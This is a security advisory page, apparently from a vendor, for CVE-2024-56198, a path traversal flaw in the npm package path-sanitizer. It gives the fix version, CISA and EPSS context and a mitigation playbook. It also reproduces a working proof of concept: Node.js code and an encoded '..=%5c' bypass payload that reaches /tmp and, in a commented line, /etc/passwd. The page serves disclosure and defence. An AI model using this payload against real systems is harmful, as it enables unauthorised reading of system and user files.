CVE-2024-56198 — path-sanitizer
Fix: cabraviva/path-sanitizer@b6d2319CVE-2024-56198 is a Path Traversal vulnerability in path-sanitizer. A fix is available for path-sanitizer — see the affected versions and patch details below.
path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-56198.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
path-sanitizernpmDescription
Summary
This is a POC for a path-sanitizer npm package. The filters can be bypassed and can result in path traversal.
Payload: ..=%5c can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.
PoC
Here's the code to test for the filter bypass:
const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")
// Real scenario:
function routeHandler(myPath) {
// Lets just assume that the path was extracted from the request
// We want to read a file in the C:\Users\user\Desktop\myApp\ directory
// But the user should be able to access C:\Users\user\Desktop\
// So we need to sanitize the path
const APP_DIR = "/var/hacker"
const sanitized = path.join(APP_DIR, sanitize(myPath))
// Now we would usally read the file
// But in this case we just gonna print the path
// console.log(sanitized)
return sanitized
}
function readFile(filePath) {
const absolutePath = path.resolve(filePath) // Resolve to absolute path
fs.readFile(absolutePath, "utf8", (err, data) => {
if (err) {
console.error(`Error reading the file: ${err.message}`)
return
}
console.log(`Contents of the file ${filePath} :\n${data}`)
})
}
input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload = "../../../../../../../../tmp/hacked.txt"
readFile(routeHandler(input_user_bypass))
readFile(routeHandler(input_user_payload))
Here is a video POC: (this is a Loom POC, only users with the UUID of the video can see it)
https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d
Impact
Any CLI tool or library using this package can be/will be vulnerable to Path traversal.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | path-sanitizer | all versions | 3.1.0npm install path-sanitizer@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for path-sanitizer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update path-sanitizer to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-56198 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-56198 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-56198. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-56198 in your dependencies?
O3 Security finds CVE-2024-56198 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.